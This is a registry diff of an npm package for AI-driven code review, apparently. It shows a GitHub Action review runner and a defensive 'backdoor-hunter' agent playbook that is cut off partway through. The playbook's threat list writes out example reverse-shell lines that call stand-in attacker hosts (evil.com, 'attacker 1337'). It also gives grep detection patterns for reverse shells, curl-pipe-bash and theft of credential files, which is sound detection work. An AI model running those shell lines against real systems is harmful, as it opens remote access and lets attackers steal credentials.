kodelyth-ecc 1.5.9 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.github/workflows/publish.yml +19 -0
- package/AGENTS.md +1 -1
- package/CHANGELOG.md +455 -0
- package/CLAUDE.md +48 -16
- package/README.md +265 -81
- package/VERSION +1 -1
- package/actions/ecc-review/README.md +243 -0
- package/actions/ecc-review/action.yml +158 -0
- package/actions/ecc-review/post-comment.js +171 -0
- package/actions/ecc-review/run-review.js +285 -0
- package/agents/backdoor-hunter.md +260 -0
- package/agents/chaos-engineer.md +251 -0
- package/agents/code-stealer-detector.md +228 -0
- package/agents/jailbreak-tester.md +222 -0
- package/agents/license-violation-finder.md +212 -0
- package/agents/prompt-injection-hunter.md +126 -0
- package/agents/secret-hunter.md +209 -0
- package/agents/supply-chain-auditor.md +195 -0
- package/bin/kodelyth-ecc.js +875 -1
- package/bundles/enterprise.md +172 -0
- package/bundles/indie-hacker.md +106 -0
- package/bundles/red-team.md +138 -0
- package/cat +0 -0
- package/commands/dashboard.md +67 -0
- package/commands/devil-mode.md +121 -0
- package/commands/memory-evolve.md +71 -0
- package/commands/replay.md +61 -0
- package/commands/route-model.md +48 -0
- package/commands/swarm.md +68 -0
- package/commands/verify-supply-chain.md +59 -0
- package/docs/dashboard.md +211 -0
- package/docs/evolve.md +303 -0
- package/docs/mcp-clients.md +167 -0
- package/docs/mcp.md +178 -0
- package/docs/replay.md +244 -0
- package/docs/supply-chain.md +207 -0
- package/docs/swarm.md +243 -0
- package/hooks/hooks.json +52 -0
- package/hooks/memory/auto-recall.js +29 -1
- package/hooks/safety/README.md +124 -0
- package/hooks/safety/lib/patterns.js +179 -0
- package/hooks/safety/prompt-injection-guard.js +179 -0
- package/hooks/safety/token-budget.js +229 -0
- package/install.ps1 +199 -2
- package/install.sh +286 -4
- package/package.json +30 -4
- package/rules/common/agent-intent-routing.md +182 -0
- package/rules/common/cost-aware-model-routing.md +152 -0
- package/scripts/dashboard/data.js +353 -0
- package/scripts/dashboard/server.js +324 -0
- package/scripts/dashboard/static/index.html +645 -0
- package/scripts/evolve/analyze.js +303 -0
- package/scripts/evolve/proposals.js +162 -0
- package/scripts/evolve/stats.js +219 -0
- package/scripts/mcp/catalog.js +244 -0
- package/scripts/mcp/client.js +181 -0
- package/scripts/mcp/prompts.js +133 -0
- package/scripts/mcp/resources.js +94 -0
- package/scripts/mcp/server.js +153 -0
- package/scripts/mcp/tools.js +465 -0
- package/scripts/replay/bundle.js +191 -0
- package/scripts/replay/replay.js +107 -0
- package/scripts/router/classify.js +232 -0
- package/scripts/supply-chain/manifest.js +154 -0
- package/scripts/supply-chain/sbom.js +202 -0
- package/scripts/supply-chain/verify.js +102 -0
- package/scripts/swarm/build-plan.js +193 -0
- package/skills/cost-aware-model-routing/SKILL.md +153 -0
- package/skills/kodelyth-quickstart/SKILL.md +7 -0
- package/skills/observability-dashboard/SKILL.md +119 -0
- package/skills/self-evolving-memory/SKILL.md +175 -0
- package/skills/session-replay/SKILL.md +199 -0
- package/skills/supply-chain-verification/SKILL.md +201 -0
- package/skills/swarm-orchestrator/SKILL.md +177 -0
- package/social/card-install.svg +1 -1
- package/social/facebook-group/POST.md +121 -0
- package/social/facebook-group/fb-1-3am-debug.png +0 -0
- package/social/facebook-group/fb-1-3am-debug.svg +97 -0
- package/social/facebook-group/fb-2-cpu-upgrade.png +0 -0
- package/social/facebook-group/fb-2-cpu-upgrade.svg +132 -0
- package/social/facebook-group/fb-3-before-after.png +0 -0
- package/social/facebook-group/fb-3-before-after.svg +94 -0
- package/social/facebook-v150.svg +5 -5
- package/social/github-social-preview.svg +119 -100
- package/social/readme-hero.svg +11 -11
- package/social/section-agents.svg +57 -0
- package/social/section-author.svg +54 -0
- package/social/section-dashboard.svg +59 -0
- package/social/section-devil.svg +54 -0
- package/social/section-hooks.svg +51 -0
- package/social/section-install.svg +42 -0
- package/social/section-learning.svg +52 -0
- package/social/section-mcp.svg +46 -0
- package/social/section-memory.svg +57 -0
- package/social/section-parallel.svg +72 -0
- package/social/section-routing.svg +51 -0
- package/social/x-card-agents-grid.svg +6 -6
- package/tests/dashboard/data.test.js +235 -0
- package/tests/dashboard/server.test.js +240 -0
- package/tests/evolve/analyze.test.js +169 -0
- package/tests/evolve/proposals.test.js +173 -0
- package/tests/evolve/stats.test.js +159 -0
- package/tests/mcp/catalog.test.js +98 -0
- package/tests/mcp/client.test.js +109 -0
- package/tests/mcp/resources-prompts.test.js +70 -0
- package/tests/mcp/tools.test.js +159 -0
- package/tests/replay/bundle.test.js +181 -0
- package/tests/replay/replay.test.js +131 -0
- package/tests/router/classify.test.js +164 -0
- package/tests/safety/patterns.test.js +94 -0
- package/tests/safety/prompt-injection-guard.test.js +111 -0
- package/tests/safety/token-budget.test.js +119 -0
- package/tests/supply-chain/manifest.test.js +147 -0
- package/tests/supply-chain/sbom.test.js +170 -0
- package/tests/supply-chain/verify.test.js +146 -0
- package/tests/swarm/build-plan.test.js +188 -0
- package/wiki/Agent-Reference.md +58 -7
- package/wiki/FAQ.md +204 -7
- package/wiki/Home.md +104 -28
- package/wiki/Hook-Reference.md +1 -1
- package/wiki/Installation-Guide.md +109 -6
- package/wiki/Platform-Support.md +239 -25
- package/wiki/Skill-Reference.md +101 -6
|
@@ -0,0 +1,285 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
// Kodelyth ECC — GitHub Action review runner
|
|
3
|
+
// Reads a PR diff + selected agents and produces a JSON findings report.
|
|
4
|
+
//
|
|
5
|
+
// Env contract:
|
|
6
|
+
// ANTHROPIC_API_KEY Anthropic API key (required for live model call; if absent, runs in dry-mode)
|
|
7
|
+
// ECC_BUNDLE indie-hacker | red-team | enterprise
|
|
8
|
+
// ECC_AGENTS comma-separated agent names (overrides bundle if set)
|
|
9
|
+
// ECC_MODEL Anthropic model id
|
|
10
|
+
// ECC_MAX_FILES max changed files per run
|
|
11
|
+
// ECC_BASE_SHA PR base
|
|
12
|
+
// ECC_HEAD_SHA PR head
|
|
13
|
+
//
|
|
14
|
+
// Outputs (set via $GITHUB_OUTPUT):
|
|
15
|
+
// critical-count, high-count, medium-count, report-path
|
|
16
|
+
|
|
17
|
+
'use strict';
|
|
18
|
+
|
|
19
|
+
const fs = require('fs');
|
|
20
|
+
const os = require('os');
|
|
21
|
+
const path = require('path');
|
|
22
|
+
const { execSync } = require('child_process');
|
|
23
|
+
const https = require('https');
|
|
24
|
+
|
|
25
|
+
const HOME = os.homedir();
|
|
26
|
+
const ECC_HOME = path.join(HOME, '.claude');
|
|
27
|
+
const AGENTS_DIR = path.join(ECC_HOME, 'agents');
|
|
28
|
+
const REPORT_PATH = path.join(os.tmpdir(), `ecc-review-${Date.now()}.json`);
|
|
29
|
+
|
|
30
|
+
// ── Bundle → agent mapping ──────────────────────────────────────────────────
|
|
31
|
+
const BUNDLE_AGENTS = {
|
|
32
|
+
'indie-hacker': ['security-reviewer', 'code-reviewer', 'ux-reviewer', 'dependency-doctor'],
|
|
33
|
+
'red-team': ['prompt-injection-hunter', 'supply-chain-auditor', 'secret-hunter', 'backdoor-hunter'],
|
|
34
|
+
'enterprise': ['code-reviewer', 'security-reviewer', 'license-violation-finder', 'supply-chain-auditor', 'api-guardian'],
|
|
35
|
+
};
|
|
36
|
+
|
|
37
|
+
const bundle = (process.env.ECC_BUNDLE || 'red-team').trim();
|
|
38
|
+
const agentsOverride = (process.env.ECC_AGENTS || '').split(',').map(s => s.trim()).filter(Boolean);
|
|
39
|
+
const selectedAgents = agentsOverride.length > 0
|
|
40
|
+
? agentsOverride
|
|
41
|
+
: (BUNDLE_AGENTS[bundle] || BUNDLE_AGENTS['red-team']);
|
|
42
|
+
|
|
43
|
+
const model = process.env.ECC_MODEL || 'claude-sonnet-4-5-20250929';
|
|
44
|
+
const maxFiles = parseInt(process.env.ECC_MAX_FILES || '20', 10);
|
|
45
|
+
const apiKey = process.env.ANTHROPIC_API_KEY || '';
|
|
46
|
+
|
|
47
|
+
// ── Setup output writer (GitHub Actions $GITHUB_OUTPUT) ─────────────────────
|
|
48
|
+
function setOutput(key, value) {
|
|
49
|
+
if (process.env.GITHUB_OUTPUT) {
|
|
50
|
+
fs.appendFileSync(process.env.GITHUB_OUTPUT, `${key}=${value}\n`);
|
|
51
|
+
}
|
|
52
|
+
console.log(`::set-output name=${key}::${value}`);
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
function logGroup(label, fn) {
|
|
56
|
+
console.log(`::group::${label}`);
|
|
57
|
+
try {
|
|
58
|
+
return fn();
|
|
59
|
+
} finally {
|
|
60
|
+
console.log('::endgroup::');
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
// ── Read changed files from /tmp/ecc-changed-files.txt ──────────────────────
|
|
65
|
+
function readChangedFiles() {
|
|
66
|
+
const listPath = '/tmp/ecc-changed-files.txt';
|
|
67
|
+
if (!fs.existsSync(listPath)) {
|
|
68
|
+
console.log('::warning::No changed-files list found. Skipping review.');
|
|
69
|
+
return [];
|
|
70
|
+
}
|
|
71
|
+
return fs.readFileSync(listPath, 'utf8')
|
|
72
|
+
.split('\n')
|
|
73
|
+
.map(s => s.trim())
|
|
74
|
+
.filter(Boolean)
|
|
75
|
+
.filter(f => fs.existsSync(f))
|
|
76
|
+
.filter(f => {
|
|
77
|
+
const ext = path.extname(f).toLowerCase();
|
|
78
|
+
// Skip binary / vendor / large generated files
|
|
79
|
+
if (['.png', '.jpg', '.gif', '.pdf', '.zip', '.tgz', '.lock'].includes(ext)) return false;
|
|
80
|
+
if (f.startsWith('node_modules/') || f.includes('/.git/')) return false;
|
|
81
|
+
return true;
|
|
82
|
+
})
|
|
83
|
+
.slice(0, maxFiles);
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
// ── Read agent playbook ─────────────────────────────────────────────────────
|
|
87
|
+
function readAgent(name) {
|
|
88
|
+
const p = path.join(AGENTS_DIR, `${name}.md`);
|
|
89
|
+
if (!fs.existsSync(p)) {
|
|
90
|
+
console.log(`::warning::Agent file not found: ${p}`);
|
|
91
|
+
return null;
|
|
92
|
+
}
|
|
93
|
+
return fs.readFileSync(p, 'utf8');
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
// ── Read file content with size cap ─────────────────────────────────────────
|
|
97
|
+
function readFileSafe(filePath, maxBytes = 20000) {
|
|
98
|
+
try {
|
|
99
|
+
const content = fs.readFileSync(filePath, 'utf8');
|
|
100
|
+
if (content.length > maxBytes) {
|
|
101
|
+
return content.slice(0, maxBytes) + '\n\n[...truncated, file exceeds 20KB...]';
|
|
102
|
+
}
|
|
103
|
+
return content;
|
|
104
|
+
} catch (err) {
|
|
105
|
+
return `[unreadable: ${err.message}]`;
|
|
106
|
+
}
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
// ── Build the review prompt ─────────────────────────────────────────────────
|
|
110
|
+
function buildPrompt(agentName, agentMarkdown, files) {
|
|
111
|
+
const fileBlock = files.map(f => {
|
|
112
|
+
const content = readFileSafe(f);
|
|
113
|
+
return `### File: ${f}\n\n\`\`\`\n${content}\n\`\`\``;
|
|
114
|
+
}).join('\n\n---\n\n');
|
|
115
|
+
|
|
116
|
+
return `You are the **${agentName}** specialist. Your full playbook follows. Apply it to the changed files below and emit findings.
|
|
117
|
+
|
|
118
|
+
---
|
|
119
|
+
|
|
120
|
+
## YOUR PLAYBOOK
|
|
121
|
+
|
|
122
|
+
${agentMarkdown}
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## CHANGED FILES IN THIS PULL REQUEST
|
|
127
|
+
|
|
128
|
+
${fileBlock}
|
|
129
|
+
|
|
130
|
+
---
|
|
131
|
+
|
|
132
|
+
## YOUR TASK
|
|
133
|
+
|
|
134
|
+
Review the changed files above using your playbook. Emit a JSON object with this exact shape (no commentary, no markdown fences, just the JSON):
|
|
135
|
+
|
|
136
|
+
\`\`\`json
|
|
137
|
+
{
|
|
138
|
+
"agent": "${agentName}",
|
|
139
|
+
"findings": [
|
|
140
|
+
{
|
|
141
|
+
"severity": "critical" | "high" | "medium" | "low",
|
|
142
|
+
"file": "path/to/file",
|
|
143
|
+
"line": 42,
|
|
144
|
+
"category": "short category name",
|
|
145
|
+
"title": "one-line summary",
|
|
146
|
+
"description": "what's wrong, why it matters",
|
|
147
|
+
"evidence": "exact code or pattern proving the finding",
|
|
148
|
+
"fix": "concrete fix recommendation"
|
|
149
|
+
}
|
|
150
|
+
],
|
|
151
|
+
"summary": "one-paragraph overall assessment"
|
|
152
|
+
}
|
|
153
|
+
\`\`\`
|
|
154
|
+
|
|
155
|
+
If you find nothing, emit \`{"agent":"${agentName}","findings":[],"summary":"..."}\`. Be concrete — no findings without evidence.`;
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
// ── Call Anthropic API ──────────────────────────────────────────────────────
|
|
159
|
+
function callAnthropic(prompt) {
|
|
160
|
+
return new Promise((resolve, reject) => {
|
|
161
|
+
if (!apiKey) {
|
|
162
|
+
// Dry-mode: emit a stub so the action still runs end-to-end without a key
|
|
163
|
+
return resolve({
|
|
164
|
+
agent: 'dry-mode',
|
|
165
|
+
findings: [],
|
|
166
|
+
summary: 'No ANTHROPIC_API_KEY set — review skipped. Set the api-key input or ANTHROPIC_API_KEY secret to enable.'
|
|
167
|
+
});
|
|
168
|
+
}
|
|
169
|
+
const body = JSON.stringify({
|
|
170
|
+
model: model,
|
|
171
|
+
max_tokens: 4096,
|
|
172
|
+
messages: [{ role: 'user', content: prompt }],
|
|
173
|
+
});
|
|
174
|
+
const req = https.request({
|
|
175
|
+
hostname: 'api.anthropic.com',
|
|
176
|
+
port: 443,
|
|
177
|
+
path: '/v1/messages',
|
|
178
|
+
method: 'POST',
|
|
179
|
+
headers: {
|
|
180
|
+
'Content-Type': 'application/json',
|
|
181
|
+
'x-api-key': apiKey,
|
|
182
|
+
'anthropic-version': '2023-06-01',
|
|
183
|
+
'Content-Length': Buffer.byteLength(body),
|
|
184
|
+
},
|
|
185
|
+
}, (res) => {
|
|
186
|
+
let chunks = '';
|
|
187
|
+
res.on('data', c => chunks += c);
|
|
188
|
+
res.on('end', () => {
|
|
189
|
+
try {
|
|
190
|
+
const parsed = JSON.parse(chunks);
|
|
191
|
+
if (parsed.error) return reject(new Error(`Anthropic API error: ${parsed.error.message}`));
|
|
192
|
+
const text = parsed.content?.[0]?.text || '';
|
|
193
|
+
// Strip markdown fences if present
|
|
194
|
+
const jsonMatch = text.match(/\{[\s\S]*\}/);
|
|
195
|
+
if (!jsonMatch) {
|
|
196
|
+
return resolve({ agent: 'parse-error', findings: [], summary: `Could not parse model output: ${text.slice(0, 200)}` });
|
|
197
|
+
}
|
|
198
|
+
resolve(JSON.parse(jsonMatch[0]));
|
|
199
|
+
} catch (err) {
|
|
200
|
+
reject(err);
|
|
201
|
+
}
|
|
202
|
+
});
|
|
203
|
+
});
|
|
204
|
+
req.on('error', reject);
|
|
205
|
+
req.write(body);
|
|
206
|
+
req.end();
|
|
207
|
+
});
|
|
208
|
+
}
|
|
209
|
+
|
|
210
|
+
// ── Main ────────────────────────────────────────────────────────────────────
|
|
211
|
+
async function main() {
|
|
212
|
+
const files = logGroup('Read changed files', readChangedFiles);
|
|
213
|
+
if (files.length === 0) {
|
|
214
|
+
console.log('::notice::No reviewable files changed. Skipping ECC review.');
|
|
215
|
+
setOutput('critical-count', '0');
|
|
216
|
+
setOutput('high-count', '0');
|
|
217
|
+
setOutput('medium-count', '0');
|
|
218
|
+
setOutput('report-path', '');
|
|
219
|
+
return;
|
|
220
|
+
}
|
|
221
|
+
|
|
222
|
+
console.log(`::notice::Reviewing ${files.length} files with agents: ${selectedAgents.join(', ')} (bundle=${bundle}, model=${model})`);
|
|
223
|
+
|
|
224
|
+
const allFindings = [];
|
|
225
|
+
const agentSummaries = [];
|
|
226
|
+
|
|
227
|
+
for (const agentName of selectedAgents) {
|
|
228
|
+
const playbook = readAgent(agentName);
|
|
229
|
+
if (!playbook) continue;
|
|
230
|
+
const prompt = buildPrompt(agentName, playbook, files);
|
|
231
|
+
|
|
232
|
+
let result;
|
|
233
|
+
try {
|
|
234
|
+
console.log(`::group::Run agent: ${agentName}`);
|
|
235
|
+
result = await callAnthropic(prompt);
|
|
236
|
+
console.log(`::endgroup::`);
|
|
237
|
+
} catch (err) {
|
|
238
|
+
console.log(`::warning::Agent ${agentName} failed: ${err.message}`);
|
|
239
|
+
console.log(`::endgroup::`);
|
|
240
|
+
continue;
|
|
241
|
+
}
|
|
242
|
+
|
|
243
|
+
if (Array.isArray(result.findings)) {
|
|
244
|
+
result.findings.forEach(f => allFindings.push({ ...f, agent: agentName }));
|
|
245
|
+
}
|
|
246
|
+
if (result.summary) {
|
|
247
|
+
agentSummaries.push({ agent: agentName, summary: result.summary });
|
|
248
|
+
}
|
|
249
|
+
}
|
|
250
|
+
|
|
251
|
+
// Tally severities
|
|
252
|
+
const counts = { critical: 0, high: 0, medium: 0, low: 0 };
|
|
253
|
+
for (const f of allFindings) {
|
|
254
|
+
const sev = (f.severity || '').toLowerCase();
|
|
255
|
+
if (counts[sev] != null) counts[sev]++;
|
|
256
|
+
}
|
|
257
|
+
|
|
258
|
+
// Write report
|
|
259
|
+
const report = {
|
|
260
|
+
bundle,
|
|
261
|
+
agents: selectedAgents,
|
|
262
|
+
model,
|
|
263
|
+
files_reviewed: files,
|
|
264
|
+
counts,
|
|
265
|
+
findings: allFindings,
|
|
266
|
+
agent_summaries: agentSummaries,
|
|
267
|
+
base_sha: process.env.ECC_BASE_SHA || '',
|
|
268
|
+
head_sha: process.env.ECC_HEAD_SHA || '',
|
|
269
|
+
generated_at: new Date().toISOString(),
|
|
270
|
+
};
|
|
271
|
+
fs.writeFileSync(REPORT_PATH, JSON.stringify(report, null, 2));
|
|
272
|
+
console.log(`::notice::Report written: ${REPORT_PATH}`);
|
|
273
|
+
console.log(`::notice::Findings: ${counts.critical} CRITICAL, ${counts.high} HIGH, ${counts.medium} MEDIUM, ${counts.low} LOW`);
|
|
274
|
+
|
|
275
|
+
setOutput('critical-count', String(counts.critical));
|
|
276
|
+
setOutput('high-count', String(counts.high));
|
|
277
|
+
setOutput('medium-count', String(counts.medium));
|
|
278
|
+
setOutput('report-path', REPORT_PATH);
|
|
279
|
+
}
|
|
280
|
+
|
|
281
|
+
main().catch(err => {
|
|
282
|
+
console.error(`::error::ECC review crashed: ${err.message}`);
|
|
283
|
+
console.error(err.stack);
|
|
284
|
+
process.exit(2);
|
|
285
|
+
});
|
|
@@ -0,0 +1,260 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: backdoor-hunter
|
|
3
|
+
description: Adversarial backdoor and malicious-code detector. Use when reviewing third-party code, vendored libraries, contractor PRs, dependency updates, or after any compromise alert. Hunts obfuscated payloads, hidden network beacons, time bombs, and unauthorized eval/exec patterns.
|
|
4
|
+
tools: ["Read", "Bash", "Grep", "Glob"]
|
|
5
|
+
model: sonnet
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Backdoor Hunter
|
|
9
|
+
|
|
10
|
+
You are an adversarial code auditor specifically tuned to find malicious payloads hidden in otherwise normal code. While `supply-chain-auditor` evaluates dependencies as units, you read individual files looking for the kind of code an attacker would write to maintain persistence.
|
|
11
|
+
|
|
12
|
+
## Threat Model — what attackers actually do
|
|
13
|
+
|
|
14
|
+
Real backdoor patterns from recent CVEs and incidents:
|
|
15
|
+
|
|
16
|
+
1. **Obfuscated execution** — `eval(atob(...))`, `Function(decoded)()`, `_0x...` minified blobs hiding malicious logic
|
|
17
|
+
2. **Network beacons** — periodic "phone home" calls to attacker domains
|
|
18
|
+
3. **Time bombs** — code that activates after a date or specific runtime condition
|
|
19
|
+
4. **Environment-triggered logic** — only runs in CI / production / specific country (xz utils CVE-2024-3094 pattern)
|
|
20
|
+
5. **Reverse shells** — `bash -c $(curl evil.com/sh)`, `nc -e /bin/sh attacker 1337`
|
|
21
|
+
6. **Credential exfiltration** — silently uploads `.env`, `.aws/credentials`, SSH keys
|
|
22
|
+
7. **Build-time injection** — postinstall scripts modifying source after install
|
|
23
|
+
8. **Webshells** — endpoints that execute arbitrary code on POST `/admin/{secret}`
|
|
24
|
+
9. **Auth bypass via magic header** — `if (req.headers['x-bypass'] === 'attacker_signature')`
|
|
25
|
+
10. **Dynamic require/import** — `require(decryptedString)` to load malicious modules at runtime
|
|
26
|
+
11. **Process injection** — overwriting `node_modules` files at runtime
|
|
27
|
+
12. **Cryptominer** — silent CPU-burning code spawning hidden workers
|
|
28
|
+
13. **Telemetry exfiltration** — sends repo path, env vars, hostname, user data to "analytics"
|
|
29
|
+
|
|
30
|
+
## Hunt Workflow
|
|
31
|
+
|
|
32
|
+
### 1. Obfuscation hunt
|
|
33
|
+
|
|
34
|
+
```bash
|
|
35
|
+
# eval and friends — ANY occurrence is a yellow flag, paired with decoding is red
|
|
36
|
+
grep -rEn "(\beval\(|new Function\(|setTimeout\([\"'])" --include="*.js" --include="*.ts" --exclude-dir=node_modules .
|
|
37
|
+
|
|
38
|
+
# Common decoder patterns
|
|
39
|
+
grep -rEn "atob\(['\"][A-Za-z0-9+/]{50,}" --include="*.js" . # base64 decode of large blob
|
|
40
|
+
grep -rEn "Buffer\.from\([\"'][A-Za-z0-9+/]{50,}.*['\"]['\"]base64['\"]" --include="*.js" .
|
|
41
|
+
grep -rEn "_0x[a-f0-9]+" --include="*.js" . | head -20 # minified obfuscation pattern
|
|
42
|
+
|
|
43
|
+
# String concatenation hiding a command
|
|
44
|
+
grep -rEn "['\"]e['\"][[:space:]]*\+[[:space:]]*['\"]val['\"]" --include="*.js" .
|
|
45
|
+
|
|
46
|
+
# Hex/octal-encoded function names
|
|
47
|
+
grep -rEn "\\\\x[0-9a-f]{2}\\\\x[0-9a-f]{2}" --include="*.js" .
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
### 2. Network beacon hunt
|
|
51
|
+
|
|
52
|
+
```bash
|
|
53
|
+
# Outbound HTTP from unexpected places
|
|
54
|
+
grep -rEn "(fetch|axios|http\.get|got|request|curl)" --include="*.js" --exclude-dir=node_modules . | \
|
|
55
|
+
grep -vE "(localhost|127\.0\.0\.1|api\.yourcompany\.com|github\.com|registry\.npmjs)"
|
|
56
|
+
|
|
57
|
+
# DNS lookups (sometimes used for stealth exfiltration)
|
|
58
|
+
grep -rEn "dns\.(lookup|resolve)" --include="*.js" .
|
|
59
|
+
|
|
60
|
+
# WebSocket connections
|
|
61
|
+
grep -rEn "new WebSocket\(['\"]ws" --include="*.js" .
|
|
62
|
+
|
|
63
|
+
# Suspicious URLs
|
|
64
|
+
grep -rEnH "https?://[^\"' ]*" --include="*.js" . | \
|
|
65
|
+
grep -vE "(github|google|cloudflare|aws|stripe|sentry|datadog|company-domain)"
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
For each suspicious URL, check:
|
|
69
|
+
- Is it on a domain reputation list? (VirusTotal, AbuseIPDB)
|
|
70
|
+
- Is it a Discord webhook (common for low-effort exfiltration)?
|
|
71
|
+
- Is it a Pastebin / paste.ee / requestbin (dump targets)?
|
|
72
|
+
- Is the domain newly registered (<90 days)?
|
|
73
|
+
|
|
74
|
+
### 3. Time bomb / conditional hunt
|
|
75
|
+
|
|
76
|
+
```bash
|
|
77
|
+
# Date checks (xz utils pattern)
|
|
78
|
+
grep -rEn "(Date\.now\(\)|new Date\(\))" --include="*.js" --exclude-dir=node_modules . | \
|
|
79
|
+
grep -E "(>|<|>=|<=)\s*[0-9]{10,13}" # comparing to unix timestamp
|
|
80
|
+
|
|
81
|
+
# Country / locale gates
|
|
82
|
+
grep -rEn "(Intl\.|navigator\.language|process\.env\.LANG)" --include="*.js" . | head
|
|
83
|
+
|
|
84
|
+
# CI-only code paths
|
|
85
|
+
grep -rEn "process\.env\.(CI|GITHUB_ACTIONS|CIRCLECI|JENKINS)" --include="*.js" --exclude-dir=node_modules . | head
|
|
86
|
+
|
|
87
|
+
# Production-only "features"
|
|
88
|
+
grep -rEn "process\.env\.NODE_ENV\s*===\s*['\"]production" --include="*.js" --exclude-dir=node_modules . | head -50
|
|
89
|
+
|
|
90
|
+
# IP-based gates (geofencing payload)
|
|
91
|
+
grep -rEn "(IP|ip)\.startsWith|ipaddress|geoip" --include="*.js" .
|
|
92
|
+
|
|
93
|
+
# Specific user / account / hostname triggers
|
|
94
|
+
grep -rEn "(os\.hostname|os\.userInfo|process\.env\.USER)" --include="*.js" .
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
### 4. Reverse shell / command execution hunt
|
|
98
|
+
|
|
99
|
+
```bash
|
|
100
|
+
# child_process.exec / spawn with user-controlled or fetched input
|
|
101
|
+
grep -rEn "(exec|spawn|execSync|spawnSync)\s*\(" --include="*.js" --exclude-dir=node_modules .
|
|
102
|
+
|
|
103
|
+
# Direct shell escapes
|
|
104
|
+
grep -rEn "['\"](bash|sh|cmd|powershell|cmd\.exe)['\"]" --include="*.js" .
|
|
105
|
+
|
|
106
|
+
# Curl-pipe-bash patterns in scripts
|
|
107
|
+
grep -rEn "curl[^|]*\|[^|]*(bash|sh)" --include="*.sh" --include="*.js" .
|
|
108
|
+
grep -rEn "wget[^|]*\|[^|]*(bash|sh)" --include="*.sh" --include="*.js" .
|
|
109
|
+
|
|
110
|
+
# Reverse shell signatures
|
|
111
|
+
grep -rEn "(\bnc \-e|/dev/tcp/|/dev/udp/|bash -i >& /dev/tcp)" .
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
### 5. Credential exfiltration hunt
|
|
115
|
+
|
|
116
|
+
```bash
|
|
117
|
+
# Reading sensitive files
|
|
118
|
+
grep -rEn "(\\.env|\\.aws/credentials|\\.ssh/id_|/etc/shadow|\\.kube/config)" --include="*.js" --include="*.py" --exclude-dir=node_modules .
|
|
119
|
+
|
|
120
|
+
# Reading and POSTing — combo signal
|
|
121
|
+
grep -rEnB2 -A4 "fs\.readFile" --include="*.js" --exclude-dir=node_modules . | \
|
|
122
|
+
grep -B5 "fetch\|axios\|http\."
|
|
123
|
+
|
|
124
|
+
# Suspicious env iteration
|
|
125
|
+
grep -rEn "Object\.(keys|entries)\(process\.env\)" --include="*.js" --exclude-dir=node_modules . | head
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
### 6. Build-time injection hunt
|
|
129
|
+
|
|
130
|
+
```bash
|
|
131
|
+
# postinstall, preinstall scripts in installed packages
|
|
132
|
+
find node_modules -name package.json -exec jq -r 'select(.scripts.postinstall or .scripts.preinstall) | .name + ": " + (.scripts | tostring)' {} \; 2>/dev/null
|
|
133
|
+
|
|
134
|
+
# scripts that download anything
|
|
135
|
+
grep -rEn "(curl|wget|fetch|axios)" node_modules/*/package.json 2>/dev/null
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
### 7. Webshell hunt
|
|
139
|
+
|
|
140
|
+
```bash
|
|
141
|
+
# Endpoints that exec arbitrary input
|
|
142
|
+
grep -rEnB2 -A5 "(req\.body\.|req\.query\.|req\.params\.)" --include="*.js" . | \
|
|
143
|
+
grep -B5 -E "(exec|eval|spawn|require)\s*\("
|
|
144
|
+
|
|
145
|
+
# Magic auth bypass
|
|
146
|
+
grep -rEn "headers\[['\"]x-" --include="*.js" --include="*.ts" . | head
|
|
147
|
+
|
|
148
|
+
# Unprotected admin endpoints
|
|
149
|
+
grep -rEn "(app|router)\.(get|post)\(['\"]/admin" --include="*.js" .
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
### 8. Dynamic loading hunt
|
|
153
|
+
|
|
154
|
+
```bash
|
|
155
|
+
# require() with non-literal argument
|
|
156
|
+
grep -rEn "require\s*\([^'\"]" --include="*.js" --exclude-dir=node_modules .
|
|
157
|
+
|
|
158
|
+
# import() with non-literal
|
|
159
|
+
grep -rEn "import\s*\([^'\"]" --include="*.js" --include="*.ts" --exclude-dir=node_modules .
|
|
160
|
+
|
|
161
|
+
# Modules loaded from filesystem path that's user-controllable
|
|
162
|
+
grep -rEnB3 -A1 "require\(.*\\\\+\\.*\)" --include="*.js" .
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
### 9. Cryptominer hunt
|
|
166
|
+
|
|
167
|
+
```bash
|
|
168
|
+
# Worker spawning with high concurrency
|
|
169
|
+
grep -rEn "(new Worker|cluster\.fork|child_process\.fork)" --include="*.js" --exclude-dir=node_modules .
|
|
170
|
+
|
|
171
|
+
# Suspicious crypto/hashing in unexpected places
|
|
172
|
+
grep -rEn "(crypto\.subtle|sha256.*loop|Buffer.alloc\(1024\*1024\))" --include="*.js" --exclude-dir=node_modules .
|
|
173
|
+
|
|
174
|
+
# Mining pool URLs
|
|
175
|
+
grep -rEn "(stratum\+tcp://|nicehash|minexmr|cryptonight)" .
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
### 10. Telemetry exfiltration hunt
|
|
179
|
+
|
|
180
|
+
```bash
|
|
181
|
+
# Any "analytics" or "telemetry" that ECC explicitly forbids
|
|
182
|
+
grep -rEn "(analytics|telemetry|tracking|posthog|mixpanel|segment)" --include="*.js" --exclude-dir=node_modules .
|
|
183
|
+
|
|
184
|
+
# Gathering metadata about the host
|
|
185
|
+
grep -rEn "(os\.cpus|os\.networkInterfaces|os\.userInfo)" --include="*.js" --exclude-dir=node_modules .
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
### 11. Triage suspicious findings
|
|
189
|
+
|
|
190
|
+
For every red flag, answer:
|
|
191
|
+
|
|
192
|
+
1. **Is this the first commit it appeared in?** `git log -p -S "<suspicious line>"`
|
|
193
|
+
